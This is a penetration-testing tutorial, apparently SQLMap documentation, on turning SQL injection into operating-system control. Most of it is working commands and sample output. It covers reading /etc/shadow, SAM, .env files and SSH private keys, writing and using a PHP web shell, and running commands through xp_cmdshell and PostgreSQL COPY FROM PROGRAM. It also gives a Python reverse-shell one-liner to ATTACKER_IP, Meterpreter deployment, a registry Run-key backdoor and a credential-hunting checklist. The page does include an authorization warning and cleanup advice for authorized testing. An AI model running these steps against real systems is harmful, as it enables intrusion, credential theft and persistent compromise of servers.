OS Exploitation¶
SQL injection doesn't have to stop at the database. With the right privileges and database features, you can escalate from a simple injection to full control of the underlying operating system.
Authorization Required
OS exploitation through SQL injection can cause serious damage. Ensure you have explicit, written authorization before using these techniques. File writes can overwrite critical files, and OS commands can modify system configurations.
Prerequisites — What You Need¶
Before attempting OS exploitation, verify these conditions:
| Requirement | How to Check | Why It Matters |
|---|---|---|
| DBA privileges | --is-dba returns True |
Most file/OS operations require admin privileges |
| FILE privilege (MySQL) | --privileges shows FILE |
Required for LOAD_FILE() and INTO OUTFILE |
| Stacked queries support | SQLMap detects automatically | Required for MSSQL xp_cmdshell and some techniques |
| Known web root | Manual enumeration | Required for writing web shells |
Reading Files from the Server¶
Basic File Read¶
sqlmap -r request.txt --file-read="C:\\inetpub\\wwwroot\\web.config" --batch
[INFO] fetching file: '/etc/passwd'
[INFO] the back-end DBMS operating system is Linux
do you want confirmation that the file '/etc/passwd' has been successfully
downloaded from the back-end DBMS file system? [Y/n] Y
[INFO] the local file '/home/kali/.sqlmap/output/target.com/files/_etc_passwd'
and the remote file '/etc/passwd' have the same size (2345 bytes)
files saved to [1]:
[*] /home/kali/.sqlmap/output/target.com/files/_etc_passwd (size 2345)
SQLMap saves the file locally. You can view it:
High-Value Files to Read¶
sqlmap -r request.txt --file-read="/etc/passwd" --batch
sqlmap -r request.txt --file-read="/etc/shadow" --batch # Requires root
sqlmap -r request.txt --file-read="/etc/hostname" --batch
sqlmap -r request.txt --file-read="/etc/hosts" --batch
sqlmap -r request.txt --file-read="/proc/self/environ" --batch # Environment variables
sqlmap -r request.txt --file-read="/var/www/html/config.php" --batch
sqlmap -r request.txt --file-read="/var/www/html/.env" --batch
sqlmap -r request.txt --file-read="/var/www/html/wp-config.php" --batch
sqlmap -r request.txt --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts" --batch
sqlmap -r request.txt --file-read="C:\\Windows\\win.ini" --batch
sqlmap -r request.txt --file-read="C:\\Windows\\System32\\config\\SAM" --batch # Requires SYSTEM
How File Reading Works Per DBMS¶
| DBMS | Technique | Requires |
|---|---|---|
| MySQL | LOAD_FILE('/etc/passwd') |
FILE privilege, secure_file_priv allows path |
| MSSQL | OPENROWSET(BULK ...) |
BULK INSERT permission |
| PostgreSQL | pg_read_file() or COPY |
Superuser or pg_read_server_files role |
Writing Files to the Server¶
Writing a Web Shell¶
This is the most common escalation path: write a web shell to the web root, then use it to execute commands.
Step 1: Create the Web Shell Locally¶
Step 2: Write It to the Server¶
sqlmap -r request.txt \
--file-write="./shell.php" \
--file-dest="/var/www/html/shell.php" \
--batch
[INFO] the back-end DBMS operating system is Linux
[INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
INTO OUTFILE technique
[INFO] the file stager has been successfully uploaded on '/var/www/html/' -
http://target.com/tmpuxzef.php
[INFO] the file '/var/www/html/shell.php' has been written
Step 3: Use the Web Shell¶
curl "http://target.com/shell.php?cmd=whoami"
# Output: www-data
curl "http://target.com/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://target.com/shell.php?cmd=cat+/etc/passwd"
Common Web Root Paths¶
| OS / Server | Default Web Root |
|---|---|
| Apache (Debian/Ubuntu) | /var/www/html/ |
| Apache (CentOS/RHEL) | /var/www/html/ |
| Nginx | /usr/share/nginx/html/ or /var/www/html/ |
| IIS | C:\inetpub\wwwroot\ |
| XAMPP (Linux) | /opt/lampp/htdocs/ |
| XAMPP (Windows) | C:\xampp\htdocs\ |
| WAMP | C:\wamp\www\ or C:\wamp64\www\ |
Finding the Web Root
If you don't know the web root, try reading the server configuration:
OS Command Execution¶
Interactive OS Shell¶
[INFO] going to use a web backdoor for command prompt
[INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
INTO OUTFILE technique
[INFO] the file stager has been successfully uploaded
[INFO] the backdoor has been successfully uploaded
os-shell> whoami
www-data
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
os-shell> uname -a
Linux webserver 5.15.0-76-generic #83-Ubuntu SMP x86_64 GNU/Linux
os-shell> cat /etc/hostname
webserver
os-shell> ls -la /home/
total 12
drwxr-xr-x 3 root root 4096 Jan 1 00:00 .
drwxr-xr-x 23 root root 4096 Jan 1 00:00 ..
drwxr-xr-x 5 admin admin 4096 Jan 15 14:22 admin
os-shell> cat /home/admin/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
Single Command Execution¶
How --os-shell Works Per DBMS¶
SQLMap writes a PHP web shell to the web root using INTO OUTFILE:
Then it sends commands to that URL.
Requirements: FILE privilege, writable web root, secure_file_priv allows it.
SQLMap enables and uses xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Requirements: sa privileges or sysadmin role.
xp_cmdshell Visibility
Enabling xp_cmdshell is logged and will likely trigger alerts in monitored environments. It also persists after the scan — SQLMap tries to disable it when you exit, but verify.
SQLMap uses COPY ... FROM PROGRAM:
CREATE TABLE cmd_output (line TEXT);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;
DROP TABLE cmd_output;
Or PL/Python for more complex commands:
CREATE OR REPLACE FUNCTION exec_cmd(cmd TEXT)
RETURNS TEXT AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;
Requirements: Superuser role.
Getting a Reverse Shell¶
Through --os-shell¶
Once you have --os-shell, you can get a proper reverse shell:
os-shell> python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Using SQLMap's Meterpreter Integration¶
sqlmap -r request.txt \
--os-pwn \
--msf-path=/usr/share/metasploit-framework \
--batch
SQLMap will:
- Generate a Meterpreter payload using MSFVenom
- Upload it to the target
- Start a Metasploit handler
- Execute the payload
- Give you a Meterpreter session
[INFO] trying to upload the file stager on '/var/www/html/'
[INFO] the file stager has been successfully uploaded
[INFO] running Metasploit Framework command line interface locally
[INFO] spawning a Meterpreter session
meterpreter > sysinfo
Computer : webserver
OS : Ubuntu 22.04 (Linux 5.15.0-76-generic)
Meterpreter : python/linux
meterpreter > shell
Process 1234 created.
Channel 1 created.
$ whoami
www-data
VNC Session¶
Windows Registry Access (MSSQL Only)¶
When targeting MSSQL on Windows, you can read and write Windows Registry keys:
Reading Registry Keys¶
sqlmap -r request.txt \
--reg-read \
--reg-key="HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" \
--reg-value="ProductName" \
--batch
sqlmap -r request.txt \
--reg-read \
--reg-key="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" \
--reg-value="DisplayName" \
--batch
Writing Registry Keys¶
sqlmap -r request.txt \
--reg-add \
--reg-key="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" \
--reg-value="Backdoor" \
--reg-data="C:\\Windows\\Temp\\payload.exe" \
--reg-type=REG_SZ \
--batch
Deleting Registry Keys¶
sqlmap -r request.txt \
--reg-del \
--reg-key="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" \
--reg-value="Backdoor" \
--batch
Post-Exploitation Workflow¶
Once you have OS access through SQL injection, follow this workflow:
1. Situational Awareness¶
os-shell> whoami
os-shell> id
os-shell> hostname
os-shell> uname -a # Linux
os-shell> systeminfo # Windows
os-shell> ip addr # Linux
os-shell> ipconfig /all # Windows
os-shell> cat /etc/passwd # Linux users
os-shell> net user # Windows users
2. Privilege Check¶
os-shell> sudo -l # Linux: check sudo permissions
os-shell> find / -perm -4000 2>/dev/null # Linux: find SUID binaries
os-shell> whoami /priv # Windows: check privileges
3. Network Enumeration¶
os-shell> ip route # Linux: routing table
os-shell> route print # Windows: routing table
os-shell> arp -a # Both: ARP table (find other hosts)
os-shell> netstat -tlnp # Linux: listening ports
os-shell> netstat -ano # Windows: listening ports
4. Credential Hunting¶
os-shell> cat /var/www/html/config.php # Web app configs
os-shell> cat /var/www/html/.env # Environment variables
os-shell> find / -name "*.conf" 2>/dev/null # Find config files
os-shell> find / -name "*.bak" 2>/dev/null # Find backup files
os-shell> type C:\inetpub\wwwroot\web.config # IIS config
5. Establish Persistence¶
Get a proper reverse shell and then use post-exploitation tools for privilege escalation. The os-shell in SQLMap is limited — it's a stepping stone, not a final shell.
Cleanup¶
Always Clean Up
After an engagement, remove any files you uploaded:
Also check that SQLMap re-disabled xp_cmdshell (MSSQL) and removed any UDFs (MySQL).